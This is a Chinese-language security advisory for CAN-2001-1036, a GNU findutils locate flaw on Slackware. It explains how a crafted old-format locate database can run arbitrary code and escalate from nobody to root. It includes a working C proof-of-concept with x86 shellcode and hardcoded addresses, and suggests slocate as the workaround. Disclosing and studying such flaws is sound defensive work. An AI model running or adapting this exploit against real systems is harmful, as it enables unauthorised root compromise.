GNU locate 执行任意命令漏洞
发布日期:2001-08-01
更新日期:2001-08-05
受影响系统:
GNU findutils 4.1
- Slackware Linux 8.0
- Slackware Linux 7.1
GNU findutils 4.0
描述:
BUGTRAQ ID: 3127
CVE(CAN) ID:
CAN-2001-1036
在Slackware Linux中,如果用户可以获取nobody用户权限,他就可以编辑locate数据库。
通过构造一个特殊的数据库格式,当其他用户使用locate时,就可能执行攻击者预设的代码。
这是由于locate接受老的数据库格式。LOCATEDB_OLD_ESCAPE后面跟着一个偏移量,用来
表示后面会有多少字符被增加到当前的字符指针的地址之后。由于对此没有进行边界检查,
攻击者可能会改变程序执行流程,转去执行攻击者输入的任意代码。
如果攻击者能够获取nobody用户权限,他可能利用这个漏洞获得root权限。
<*来源:Josh Smith (
josh@viper.falcon-networks.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Josh Smith (
josh@viper.falcon-networks.com)提供了下列测试代码:
#include <stdio.h>
char shellcode[] =
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
"\xe8\xe3\xff\xff\xff/tmp/xx";
char putshell[] =
"\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";
int main(void)
{
int i;
int z0=0; int addr=0x0804a970;
int z1=0; int addr2=-626;
int z2=0; int addr3=addr+6;
printf("%s", &addr);
printf("%s", &addr3);
printf("%s",shellcode);
fflush(stdout);
for(i=46;i<256;i++) putchar('A');
printf("%s", putshell);
fflush(stdout);
putchar(0);
putchar(30);
printf("%s", &addr2);
printf("\x82\x83");
fflush(stdout);
}
建议:
临时解决方法:
换用更安全的slocate。
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.slackware.com/
浏览次数:3710
严重程度:0(网友投票)